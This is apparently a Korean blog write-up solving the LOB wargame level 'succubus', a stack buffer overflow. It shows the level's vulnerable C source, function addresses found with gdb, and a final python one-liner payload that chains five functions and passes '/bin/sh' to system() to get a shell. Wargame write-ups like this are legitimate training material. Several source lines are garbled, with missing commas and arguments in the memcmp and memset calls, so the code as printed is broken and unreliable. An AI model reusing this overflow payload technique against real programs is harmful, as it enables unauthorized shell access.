1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
    // olleh!
    system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
    if(check != 1)
        exit(0);
 
    printf("welcome to the GYE!\n");
    check = 2;
}
 
void DO(void)
{
    printf("welcome to the DO!\n");
    check = 1;
}
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // you cannot use library
    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
        // stack destroyer
    // 100 : extra space for copied argv[1]
        memset(buffer, 044);
    memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-300003000-40);
}
 
cs


시작


소스코드를 보자. 일단 라이브러리로 점프못하게 해놓았다. 그리고 버퍼와 SFP를 지우고


ret에서부터 100의 공간을 나둔후 전부 지워버린다. LD_PRELOAD도 지워버린다.


payload는 buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + "/bin/sh"의 주소로 하면 될 것 같다.


일단 저 주소들을 다 구하자..



gdb를 통해 주소들을 다 구했다.


0x80487ec <DO>

0x80487bc <GYE>

0x804878c <GUL>

0x804875c <YUT>

0x8048724 <MO>



아마 여유공간에 "/bin/sh"문자열 등을 집어넣고 나중에 인자값으로 쓰란것같은데... 그냥 귀찮아서 system함수내에 있는 "/bin/sh"를 찾아서 쓰겠다.



"/bin/sh"의 주소


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"



아 소스코드를 제대로 안봤다;;

    if(strchr(argv[1], '\x40')){
        printf("You cannot use library\n");
        exit(0);
    }


로 그냥 argv[1]안에 0x40이 못들어간다.


payload : buffer(44) + &DO + &GYE + &GUL + &YUT + &MO + DUMMY + &"/bin/sh"+"/bin/sh"+"\0"


이렇게하기로 했다.



payload : ./succubus `python -c 'print("A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x68\xfa\xff\xbf"+"/bin/sh"+"\x00")'`



클리어!!!

'Wargame > LOB' 카테고리의 다른 글

[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02

+ Recent posts